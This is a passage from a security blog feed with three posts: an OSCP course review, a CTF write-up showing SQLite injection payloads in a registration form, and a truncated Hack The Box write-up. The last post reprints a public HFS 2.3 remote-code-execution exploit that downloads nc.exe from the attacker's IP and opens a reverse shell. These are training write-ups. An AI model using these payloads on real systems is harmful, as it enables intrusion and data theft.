<li><a href="http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf">Gynvael Coldwind, PHP LFI RFC1867 Temporary Files</a> </li>
<li><a href="https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf">Insomniasec LFI With PHPInfo Assistsance</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[OSCP : Offensive Security Certification & PWK review]]></title><description><![CDATA[<p>The end of 2017 was intense for me, I attended to do the most complete hands-on penetration testing course, the well renowned Offensive Security’s PWK, and got my <strong>Offensive Security Proffesional Certification</strong>.</p>

<p>In this review I will be talking about my preparation, my exceptional experience with the PWK Labs,</p>]]></description><link>http://dann.com.br/oscp-offensive-security-certification-pwk-course-review/</link><guid isPermaLink="false">94abd901-c2c8-4247-85ac-84865d71e656</guid><category><![CDATA[oscp]]></category><category><![CDATA[offensive security]]></category><category><![CDATA[review]]></category><category><![CDATA[penetration test]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Sun, 25 Feb 2018 16:59:00 GMT</pubDate><media:content url="http://dann.com.br/content/images/2018/02/oscp.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2018/02/oscp.png" alt="OSCP : Offensive Security Certification & PWK review"><p>The end of 2017 was intense for me, I attended to do the most complete hands-on penetration testing course, the well renowned Offensive Security’s PWK, and got my <strong>Offensive Security Proffesional Certification</strong>.</p>

<p>In this review I will be talking about my preparation, my exceptional experience with the PWK Labs, the insane 24 hour exam that leaded me to OSCP certification and of course I will share some important tips.</p>

<h2 id="mybackground">My background</h2>

<p>The idea of doing OSCP appeared during the year of 2017 when I spent the whole year participating of CTF(capture-the-flag) competitions. </p>

<p><small> <br>
<img src="http://dann.com.br/content/images/2018/02/gc.png" alt="OSCP : Offensive Security Certification & PWK review">
Playing for <strong>h3x_pr0ph3ts</strong>, the <a href="https://morphuslabs.com/">Morphus Labs</a> team @ <a href="https://www.cyberlympics.org/global-cyberlympics-world-finals-makes-international-news/">Global Cyberlympics Finals</a>, Netherlands</small></p>

<p>This same <strong>Morphus Labs</strong> team developed <a href="http://shellterlabs.com/">shellterlabs.com</a>, a awesome plataform to help anyone who wants to join on this CTF world and improve your hacking skills by solving challenges. They have also developed a itinerant platform and are always hosting hacking competitions by the country.</p>

<p>I also had the pleasure of collaborating with this platform and writing the <a href="https://shellterlabs.com/en/training/get-started/writing-exploits/">binary exploitation tutorial/challenges</a>.</p>

<p><small> <br>
<img src="http://dann.com.br/content/images/2018/02/Selection_999-488-.png" alt="OSCP : Offensive Security Certification & PWK review">
Playing for <strong>p4f</strong> @ <a href="https://twitter.com/dc5561">DC5561 DEFCON Group Brasilia</a></small></p>

<p><strong>p4f</strong> is the team that I created thinking of improving members hacking skills focusing on CTFs and knowledge sharing. More about p4f <a href="http://dann.com.br/ctf/">here</a>.</p>

<h3 id="ctfversuspwkoscp">CTF versus PWK/OSCP</h3>

<p>Different from CTFs that looks like more a game with a specific categorized challenge, the PWK/OSCP are focused on a <strong>professional penetration test</strong>, an authorized attack on a computer system. </p>

<p>Offsec provides you a corporation environment to identify/exploit weaknesses in order to gain access to the system's features and data which will be used in a way to compromise the entire environment.</p>

<p>I am always interested on <strong>sharpening my hacking skills</strong>, never moved professionally with pentest and I thought the OSCP would be a good start.</p>

<h2 id="preparation">Preparation</h2>

<p>With an idea of what would lie ahead, I decided to leave CTF aside and joined <a href="https://www.hackthebox.eu">hackthebox.eu</a>.</p>

<p>Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with other members of similar interests. It is a collaborative environment that contains several machines that are constantly updated. Some of them simulating real world scenarios.</p>

<p><img src="http://dann.com.br/content/images/2018/02/Selection_999-502-.png" alt="OSCP : Offensive Security Certification & PWK review"></p>

<p>The complete list of machines I've owned before starting the PWK course are detailed on the screenshot below.</p>

<p><img src="http://dann.com.br/content/images/2018/02/Selection_999-489-.png" alt="OSCP : Offensive Security Certification & PWK review"></p>

<p>I struggled on each one of them, they had just been released, no published write-ups and I always refused the most to run behind tips. There are some machines that I got stuck than 1 week. This way of thinking was crucial to success in PWK lab.</p>

<h3 id="differencesbetweenhtbandpwklab">Differences between HTB and PWK Lab</h3>

<p>People always ask about the difficulty of PWK/OSCP versus HTB. It's different.</p>

<p>Along HTB you will find awesome machines much more technically difficult to exploit than machines found on PWK lab. But PWK is focused on a real corporation environment. The network has life! </p>

<blockquote>
  <p>The flag means nothing. Some machines has dependencies from things that you leaked from a deep packet inspection in another machine inside a internal network that you compromised by orchestrating a client-side attack! </p>
</blockquote>

<p>You need to be attentive to the big picture all the time. Trust me, this can be very hard sometimes.</p>

<h2 id="tools">Tools</h2>

<p>Offsec provided the course materials and a <strong>Kali VMware Image</strong> created especially for the course with all the tools that you will theoretically need.</p>

<p>I already have my own custom Kali VM that i've created for my needs, but since Offsec recommended using this for the course, I left my VM aside.</p>

<h3 id="convertingthevmwareimagetovirtualbox">Converting the VMWare image to VirtualBox</h3>

<p>I particularly do not like using VMWare, so I converted the VM to a Virtualbox Machine using <strong>ovftool</strong>.</p>

<p><code>ovftool "/path/to/pwk-kali-vm.vmx" "/path/to/pwk-kali-vm.ovf"</code></p>

<p>If you need more details, follow <a href="https://www.maketecheasier.com/convert-virtual-machines-vmware-virtualbox/">this guide</a>.</p>

<h3 id="vmcustomization">VM Customization</h3>

<p>As recommended I didn't updated the entire Kali installation, just changed the default Kali Window Manager to <strong>XFCE4</strong> and did a few personal customizations. </p>

<p><img src="http://dann.com.br/content/images/2018/02/oscp_desktop.png" alt="OSCP : Offensive Security Certification & PWK review"></p>

<p>The outdated Kali packages I updated later individually as needed.</p>

<h3 id="additionaltools">Additional tools</h3>

<p>The PWK course forces you to avoid automated tools and focus on doing the things as raw as possible. This is the best way to learn. This way I just have a few tools to recommend.</p>

<ul>
<li><a href="https://www.giuspen.com/cherrytree/">Cherrytree</a> - Cherrytree is a hierarchical note taking application, featuring rich text and syntax highlighting. </li>
</ul>

<p><img src="http://dann.com.br/content/images/2018/02/Selection_999-501-.png" alt="OSCP : Offensive Security Certification & PWK review"></p>

<p>I think this is the best tool I can recommend here! During every stage of OSCP you will need to take notes, screenshots and stay organized as it will accumulate a lot of information. With all this information well organized, it will be easy to generate the reports at the end.</p>

<ul>
<li><a href="https://github.com/SECFORCE/sparta">SPARTA - Network Infrastructure Penetration Testing</a>: This is a python  application which simplifies the scanning on the 1st enumeration phase. This tool was developed by a guy while taking the PWK course and it is a awesome time-saver that gives you a overview of the target.</li>
<li><a href="https://github.com/janisozaur/terminator">terminator</a> - Like <a href="https://gist.github.com/MohamedAlaa/2961058">tmux</a>, this tool allows you arranging terminals in grids. You can create more terminals by right clicking on one and choosing to split. This is very useful here, Its normal your screen will w/ 7+ running terminals.
it vertically or horizontally.  </li>
<li><a href="https://www.gliffy.com/">gliffy</a> - Online diagramming tool alternative to MS Visio. This was very useful to illustrate some details of the network in the report.</li>
<li><a href="https://github.com/sshuttle/sshuttle">sshuttle</a> - After understanding how dynamic tunneling and port forwarding works with SSH, try this tool. This is where transparent proxy meets VPN meets SSH. It will help you a lot on pivoting.</li>
<li><a href="https://www.securitysift.com/download/linuxprivchecker.py">enum.py</a> - Scripted local linux wnumeration &amp; privilege escalation checks. The real gem of this script is the recommended privilege escalation exploits given at the conclusion of the script. This is a great starting point for escalation. </li>
<li><a href="https://github.com/rebootuser/LinEnum">enum.sh</a> - Alternative to above, useful when the machine has no Python installed.</li>
<li><a href="https://github.com/pentestmonkey/windows-privesc-check">windows-privesc-check2</a> - This is standalone executable that runs on Windows systems. It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps.</li>
<li><a href="http://shutter-project.org/">shutter</a> - The best linux feature-rich screenshot tool!</li>
<li><a href="https://github.com/intrd/nozzlr">nozzlr</a> - Nozzlr is a multithread bruteforcer, trully modular and script-friendly. The other bruteforce tools are amazing, but the hardcoded parameters make it painful to script over complex tasks. Nozzlr comes to solve this problem. All your task parameters/engine is managed directly in the task template(a python script). This tool was developed by me, feel free to help me w/ this project!</li>
</ul>

<p>So, these are the additional tools that I used, many others are covered by the PWK course materials.</p>

<h2 id="thepwkcourse">The PWK Course</h2>

<p>Feeling prepared I joined on PWK Labs Network at 16/Dec 2017 and started my journey to OSCP.</p>

<p><img src="http://dann.com.br/content/images/2018/02/Selection_999-492-.png" alt="OSCP : Offensive Security Certification & PWK review"></p>

<p>Initially I bought only <strong>30 days</strong> of course (not recommended, buy <strong>60 days minimum</strong>, I will explain why), so I tried to save as much time as possible in the materials and exercises. </p>

<p>This way I finished my studies in just 2 days, focusing only on the points I was not yet familiar with.</p>

<p>The course materials is a good start to build your <strong>cheat-sheet</strong>, take note of every command because you will need to reuse it later a lot of times.</p>

<p>The course also covers a <strong>Windows/Linux buffer overflow</strong>, this is one of the most technical part and it scares a lot of people. I decided to leave it aside and <strong>study when I had finished the Labs</strong>, so I would get this subject on the exam with <strong>fresh memory</strong> and this proved to be a good decision.</p>

<h2 id="pwknetwork">PWK Network</h2>

<p>The network is awesome, as I mentioned before, this simulates a corporation network with life.</p>

<p><img src="http://dann.com.br/content/images/2018/02/Selection_999-503-.png" alt="OSCP : Offensive Security Certification & PWK review"></p>

<p>Offsec gives to you a <strong>VPN</strong> access to the Public Network and your task is to <a href="https://www.youtube.com/watch?v=FoUWHfh733Y">hack all the things</a>! <strong>50+ hosts</strong>, <strong>1 public network and 3 internal</strong>. A wide variety of systems. </p>

<p>The techniques/exploits used to compromise each target rarely recur. Some machines are not directly exploitable and you need to lead a client-side attack or use leaked data from another network to compromise this targets.</p>

<p>So, in 30 days I compromised about <strong>35 machines</strong>. Knowing that I would not have enough time to finish the labs I decided to extend my access for <strong>+30 days</strong>.</p>

<p>After spending almost 2 months fully dedicated to OSCP, I finally compromised the <strong>entire lab</strong>(50+ machines) and I still have <strong>7 days</strong> to review some points and already prepare my <strong>PWK Lab Report</strong>.</p>

<p><img src="http://dann.com.br/content/images/2018/02/Selection_999-507-.png" alt="OSCP : Offensive Security Certification & PWK review"></p>

<p>Offsec provides you some templates that you can use to write your report. The PWK Labs Report gives you <strong>5 additional points</strong>.</p>

<h3 id="recommendationsregardingpwklabs">Recommendations regarding PWK Labs</h3>

<ul>
<li>The forum is very useful to learn and share alternative methods of compromising the same target. Avoid using this to get tips! Use it only when you are really stuck for days! Trust me, the <strong>rabbit roles teaches much more than a direct tip</strong>.</li>
<li>The lab was created in 2014 and updated recently but some machines are vulnerable to recent exploits that take you directly to administrator access w/ a single skiddie shot, skiping all over indented way. <strong>It's not a speedrun!</strong> Try to find the <strong>intended way</strong> to compromise each target.</li>
<li>Don't be scared about that <strong>big four</strong> technically hardest machines that everyone talks about. You will face much worse challenges in the lab, simple things that end in a beautiful facepalm. </li>
</ul>

<h2 id="thebrutal24hourexamtimeline">The brutal 24 hour exam timeline</h2>

<p><strong>13:00</strong> - Feeling very confident, I received the email containing details for VPN access to the Exam network including a debugging VM. In order to pass I would need score <strong>70+ points</strong>.</p>

<p>I properly enumerated all the targets and already outlined a strategy. I decided to start with the machine that was technically more difficult and also gave a good amount of points.</p>

<p><strong>15:00</strong> - Thanks to my studies, mastering the technique, I owned this machine so fast. This has already made me feel good to continue. So I left the lowest scoring machine (10 pts) for the final and went on to deeply enumerate the other 3 machines.</p>

<p><strong>22:00</strong> - Things were starting to get complicated, this task took me a lot of hours and finally I popped a low-privilege shell on a 20 pts machine and got a very restricted access to another 20 pts one. </p>

<p><strong>01:30</strong> - Finally owned the 20 pts machine and quickly owned the 10 pts machine.</p>

<p>Now with 55 pts, knowing that I would only need to finish one of the two remaining machines, one of which I already had low-priv access, very mentally exhausted I decided to take a nap. </p>

<p><strong>06:00</strong> - Of course I slept very poorly, woke up about 6 a.m. and I decided to continue my journey. </p>

<p><strong>10:00</strong> - After entering the deepest and darkest rabbit hole ever I finally got administrator access on that machine totaling 75 pts, enough to pass.</p>

<p><strong>12:45</strong> - Now with a fresh head, without pressure, leaving only one machine to complete the 100 pts I got a low-priv access on the last one, then my suddenly VPN dropped! <strong>Time is over</strong>! I did not even have time to dump the user level proof.</p>

<p>But okay, feeling happy that I had passed the exam I went back to sleep and I woke up later.</p>

<p><strong>18:00</strong> - After a good rest, very focused, very careful not to let anything behind, following all the rules, I wrote the Exam Report.</p>

<p>I also sent my entire raw pentest data that I created w/ Cherrytree. It's not necessary but it was proof that I fought for every target along PWK Labs and Exam.</p>

<p><img src="http://dann.com.br/content/images/2018/02/Selection_999-504-.png" alt="OSCP : Offensive Security Certification & PWK review"></p>

<p>And finally, 24 hours after publishing my report I received the confirmation through the well desired email, all my hard work paid off.</p>

<p>I will miss the OSCP labs access, but for sure I will continue on the forum helping everyone who need nudges on PWK Labs and learning even more through alternative solutions.</p>

<h2 id="conclusions">Conclusions</h2>

<p>Different from other certifications that is all about theory and multiple choice questions, OSCP/PWK is a trully <strong>hands-on</strong> certification that puts you to the test in every possible way. </p>

<p>The admins are very professional, they have a protocol for everything. And they build an awesome community behind.</p>

<p>I strongly recommend it for everyone who wants to start in this area and also for those who already work with.</p>

<p>Regardless of your skills, be <strong>Humble</strong>, you will <strong>Try harder</strong>.</p>

<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/190459005&color=%23446c74&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>

<h2 id="resources">Resources</h2>

<ul>
<li>Shellterlabs : Writing exploits - <a href="https://shellterlabs.com/en/training/get-started/writing-exploits/">https://shellterlabs.com/en/training/get-started/writing-exploits/</a></li>
<li>Shellter Hacking Express challenges - <a href="https://shellterlabs.com/en/contests/challenges/?event=10">https://shellterlabs.com/en/contests/challenges/?event=10</a></li>
<li>Windows BOF PCMan FTP - <a href="http://netsec.ws/?p=180">http://netsec.ws/?p=180</a></li>
<li>Hack the box - <a href="http://hackthebox.eu">http://hackthebox.eu</a></li>
<li>Nishang : PowerShell scripts - <a href="https://github.com/samratashok/nishang">https://github.com/samratashok/nishang</a></li>
<li>Windows Privilege Escalation Fundamentals - <a href="http://www.fuzzysecurity.com/tutorials/16.html">http://www.fuzzysecurity.com/tutorials/16.html</a></li>
<li>Basic Linux Privilege Escalation - <a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/</a></li>
<li>Pentest Tips and Tricks - <a href="https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/">https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/</a></li>
<li>Nmap cheat sheet - <a href="https://highon.coffee/blog/nmap-cheat-sheet/">https://highon.coffee/blog/nmap-cheat-sheet/</a></li>
<li>SANS Institute : Port Knocking basics - <a href="https://www.sans.org/reading-room/whitepapers/sysadmin/port-knocking-basics-1634">https://www.sans.org/reading-room/whitepapers/sysadmin/port-knocking-basics-1634</a> </li>
<li>Teck_K2 OSCP review - <a href="https://teckk2.github.io/category/OSCP.html">https://teckk2.github.io/category/OSCP.html</a></li>
<li>m4lv0id OSCP review - <a href="https://medium.com/@m4lv0id/and-i-did-oscp-589babbfea19">https://medium.com/@m4lv0id/and-i-did-oscp-589babbfea19</a></li>
<li>The definitive hacking playlist - <a href="https://soundcloud.com/intrd/sets/hacking">https://soundcloud.com/intrd/sets/hacking</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[SHX16 : web100-help_me]]></title><description><![CDATA[<p>I'm seeing a lot of people asking for write-up of this challenge, so here it is!</p>

<p><mark>TLDR</mark> It's about a simple <code>SQLite injection</code>, and it needs to be done manually. Your <code>sqlmap</code> will not work with default settings, maybe w/ some custom parameters and/or a tamper script, but trust-me</p>]]></description><link>http://dann.com.br/shx16-web100-help_me/</link><guid isPermaLink="false">415b47bd-b127-4c98-bad2-4d4b94592be9</guid><category><![CDATA[web security]]></category><category><![CDATA[shx16]]></category><category><![CDATA[SQLite]]></category><category><![CDATA[sql injection]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Tue, 21 Nov 2017 15:53:31 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/11/Selection_999-2514-.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/11/Selection_999-2514-.png" alt="SHX16 : web100-help_me"><p>I'm seeing a lot of people asking for write-up of this challenge, so here it is!</p>

<p><mark>TLDR</mark> It's about a simple <code>SQLite injection</code>, and it needs to be done manually. Your <code>sqlmap</code> will not work with default settings, maybe w/ some custom parameters and/or a tamper script, but trust-me this is not necessary.</p>

<h2 id="enumeration">Enumeration</h2>

<p>The most important step of any pentest activity is the recon. In this case we have a login form of a web application, so I started by enumerating directories, scripts, SSL certificate details, system features. </p>

<p><strong>Directories and files/scripts</strong></p>

<pre>
C=200    "index.html"
C=200    "register.php"
C=200    "login.php"
C=403    ".git"
C=403    ".git/HEAD"  << This could be interesting, but we do not have access ..
C=403    ".svn"
C=403    ".svn/entries"
</pre>

<p><strong>SSL certificate details</strong></p>

<pre>
E = shx@16.com << Good, we have an email, maybe the email from the system administrator?
CN = "SHX#16"
OU = SHX 16
O = SHX
L = FOR
ST = CE
C = BR
</pre>

<p>Browsing the system features I noticed that it does not accepts <code>duplicated</code> records for <code>username</code> and <code>email</code></p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2504-.png" alt="SHX16 : web100-help_me"></p>

<p>This is what happens when we try to register an existing <code>username</code> or <code>email</code></p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2505-.png" alt="SHX16 : web100-help_me"></p>

<p>Looking at the raw response I found a <code>hidden DIV</code> showing us some important debug information:</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2507-.png" alt="SHX16 : web100-help_me"></p>

<pre><code>UNIQUE constraint failed: USERS.MAIL  
...
UNIQUE constraint failed: USERS.USERNAME  
</code></pre>

<p>So, we can extract 3 important information from this errors:</p>

<ul>
<li>Table name: USERS</li>
<li>Username column name: USERNAME</li>
<li>Email column name: MAIL</li>
</ul>

<p>We also can confirm that already exists an user registered w/ that leaked email w/ this payload: </p>

<p><code>first_name=test&amp;last_name=test&amp;user_name=tesst&amp;pass_word=test&amp;email=SHX@16.com</code></p>

<p>With this we can bruteforce usernames and emails, but we want more!</p>

<h2 id="attackvector">Attack vector</h2>

<p>After fuzzing the registration form fields w/ some illegal characters I got a SQL sintax error sending <code>'</code> at <code>mail</code> field:</p>

<p><code>first_name=test&amp;last_name=test&amp;user_name=tesst&amp;pass_word=test&amp;email='</code></p>

<pre><code>ERROR: SQLSTATE[HY000]: General error: 1 near "test": syntax error  
</code></pre>

<p>Perfect, now we need to find a way to take control of this <code>INSERT</code> query.</p>

<p>So, the first step is try to figure out the <code>number and positions of columns</code> of the current <code>INSERT</code> query. </p>

<p><code>email=xx','xxx','a4');#</code></p>

<pre><code>ERROR: SQLSTATE[HY000]: General error: 1 3 values for 4 columns  
</code></pre>

<p>So, we have 4 columns, if we send 4 columns it register a new user w/ our query data:</p>

<p><code>email=xxx','xxx','a4','11');#</code></p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2508-.png" alt="SHX16 : web100-help_me"></p>

<p>And now we can figure out the <code>INSERT</code> columns order:  <code>email, name, username, password</code>.</p>

<h2 id="dataleaking">Data leaking</h2>

<p>Now let's try to insert a <code>sql subquery</code> in place of parameter <code>name</code> to leak some database information. The first idea come in mind is to try get version of this SQL database..</p>

<p><code>email=xxx',(select version()),'a4','11');#</code></p>

<p>..injection works, but the INSERT fails, this SQL database has no <code>version()</code> function..</p>

<pre><code>ERROR: SQLSTATE[HY000]: General error: 1 no such function: version  
</code></pre>

<p>Why? because it's not a MySQL database, maybe a <code>SQLite</code>? let's test..</p>

<p><code>email=xxx',(SELECT tbl_name FROM sqlite_master),'a4','11');#</code></p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2511-.png" alt="SHX16 : web100-help_me"></p>

<p>Perfect, it printed the current table name and SQLite confirmed!</p>

<p>Now we have all the pieces to mount our query searching for the flag.</p>

<p><strong>Counting all entries from <code>USERS</code></strong></p>

<p><code>email=xxxxX',(SELECT count(*) FROM USERS),'a10','11');#</code></p>

<pre>
Welcome My Friend
Here your infos:
name: 6
mail: xxxxX
username: a10
password: 11
</pre>

<p><strong>Dumping the <code>MAIL</code> from first <code>USERS</code> entry</strong></p>

<p><code>email=xxxxXX',(SELECT MAIL FROM USERS LIMIT 0, 1),'a11','11');#</code></p>

<pre>
Welcome My Friend
Here your infos:
name: SHX@16.com
mail: xxxxXX
username: a11
password: 11
</pre>

<p><strong>Dumping the <code>ID</code> from first <code>USERS</code> entry</strong></p>

<p><code>email=xxxxXX',(SELECT ID FROM USERS LIMIT 0, 1),'a11','11');#</code></p>

<pre>
Welcome My Friend
Here your infos:
name: 31337
mail: xxxxXXXX
username: a13
password: 11
</pre>

<p><strong>Dumping the <code>USERNAME</code> from <code>USERS</code> where <code>ID</code> is equal to <code>31337</code></strong></p>

<p><code>email=xxxxXXXXX',(SELECT USERNAME FROM USERS WHERE ID=31337),'a14','11');#</code></p>

<pre>
Welcome My Friend
Here your infos:
name: flag
mail: xxxxXXXXX
username: a14
password: 11
</pre>

<p>Awesome, and finally dumping the <code>PASSWORD</code> from the user where <code>ID=31337</code></p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2512-.png" alt="SHX16 : web100-help_me"></p>

<p>Done! <br>
Thanks <a href="http://shellterlabs.com">shellterlabs.com</a></p>

<h2 id="references">References</h2>

<ul>
<li>SQL Injection in INSERT Query - <a href="http://amolnaik4.blogspot.com.br/2012/02/sql-injection-in-insert-query.html">http://amolnaik4.blogspot.com.br/2012/02/sql-injection-in-insert-query.html</a></li>
<li>SQLite Injection - <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/SQLite%20Injection.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/SQLite%20Injection.md</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[Hack The Box : Optimum (windows)]]></title><description><![CDATA[<p>I'm starting a series of write-ups about the <a href="http://hackthebox.eu">HTB</a> <code>retired</code> machines. I have owned 33 machines until now, applying the most diverse techniques, some machines are so well elaborated that they are true masterpieces. </p>

<p>All this information can not be lost and I intend to share with you in detail</p>]]></description><link>http://dann.com.br/hack-the-box-optimum-windows/</link><guid isPermaLink="false">19e4b054-8583-4d50-b798-b496a722a4eb</guid><category><![CDATA[hackthebox]]></category><category><![CDATA[optimum]]></category><category><![CDATA[windows]]></category><category><![CDATA[rejetto]]></category><category><![CDATA[null byte injection]]></category><category><![CDATA[powershell]]></category><category><![CDATA[ms16-032]]></category><category><![CDATA[pentest]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Thu, 16 Nov 2017 00:35:38 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/11/Selection_999-2452-.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/11/Selection_999-2452-.png" alt="Hack The Box : Optimum (windows)"><p>I'm starting a series of write-ups about the <a href="http://hackthebox.eu">HTB</a> <code>retired</code> machines. I have owned 33 machines until now, applying the most diverse techniques, some machines are so well elaborated that they are true masterpieces. </p>

<p>All this information can not be lost and I intend to share with you in detail what I have done to pwn the "best machines".</p>

<h2 id="enumeration">Enumeration</h2>

<p>A basic port-scan and osscan w/ <code>nmap</code> revealed this:</p>

<pre>
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /

Running (JUST GUESSING): Microsoft Windows 2012|7|8|Phone|2008|8.1|Vista (91%)
OS CPE: cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (90%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%), Microsoft Windows 7 (85%)
</pre>

<p>A <code>Windows</code> box running a <code>HttpFileServer httpd 2.3</code> on port <code>80</code></p>

<h2 id="attackvector">Attack vector</h2>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2422-.png" alt="Hack The Box : Optimum (windows)"></p>

<p>There is a known <code>RCE</code> vulnerability on this service</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2423-.png" alt="Hack The Box : Optimum (windows)"></p>

<pre><code class="language-python">#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#           It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
#           It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux. 

#Usage : python Exploit.py &lt;Target IP address&gt; &lt;Target Port Number&gt;

#EDB Note: You need to be using a web server hosting netcat (http://&lt;attackers_ip&gt;:80/nc.exe).  
#          You may need to run it multiple times for success!


import urllib2  
import sys

try:  
    def script_create():
        urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")

    def execute_script():
        urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")

    def nc_run():
        urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")

    ip_addr = "10.10.15.169" #local IP address
    local_port = "3001" # Local Port number
    vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
    save= "save|" + vbs
    vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
    exe= "exec|"+vbs2
    vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
    exe1= "exec|"+vbs3
    script_create()
    execute_script()
    nc_run()
except:  
    print """[.]Something went wrong..!
    Usage is :[.] python exploit.py &lt;Target IP address&gt;  &lt;Target Port Number&gt;
    Don't forgot to change the Local IP address and Port number on the script"""
</code></pre>

<p>Analyzing xpl source code, we can see that it uses a <a href="http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection">null byte injection</a> <code>%00</code> on parameter <code>search</code> to escape the filter of the forbidden characters allowing us to script over <a href="http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands">HFS Language</a> without restriction. </p>

<pre><code>http://10.10.10.8/?search=%00{YOUR_HFS_SCRIPT_HERE}  
</code></pre>

<p>With the RCE it runs a VBS script locally that downloads your served <code>nc.exe</code> and spawn a reverse shell to you.</p>

<p>Ok, leave the script aside and let's do it all manually.</p>

<h3 id="nullbyteinjection">Null byte injection</h3>

<p>We can confirm the injection on HFS Lang is working by sending a <code>break</code> command and analyzing the response..</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2431-.png" alt="Hack The Box : Optimum (windows)"></p>

<p><strong>Without null byte</strong>
<img src="http://dann.com.br/content/images/2017/11/Selection_999-2429-.png" alt="Hack The Box : Optimum (windows)"></p>

<p><strong>With null byte</strong>
<img src="http://dann.com.br/content/images/2017/11/Selection_999-2430-.png" alt="Hack The Box : Optimum (windows)"></p>

<p>...using <code>break</code> it returns only <code>1802 bytes</code> halting the script.</p>

<h3 id="remotecodeexecution">Remote code execution</h3>

<p>This HFS lang allow us to execute commands on server-side using the <code>exec</code></p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2432-.png" alt="Hack The Box : Optimum (windows)"></p>

<p>..to confirm the RCE we can try to send a <code>ICMP Ping</code> back to us. You can use <code>tcpdump</code> to filter only <code>ICMP</code> packets..</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2439-.png" alt="Hack The Box : Optimum (windows)"></p>

<p><strong>Attention</strong></p>

<ul>
<li>The system <code>ENV</code> variables are working, this is why i'm using full path <code>C:\Windows\system32\ping.exe</code>, and this path will vary on Windows versions.</li>
<li>Sometimes there's a firewall blocking <strong>ICMP packets</strong>. A good idea to contour this is to test reverse connection on TCP port 443 before discard this idea.</li>
</ul>

<h3 id="reverseshell">Reverse shell</h3>

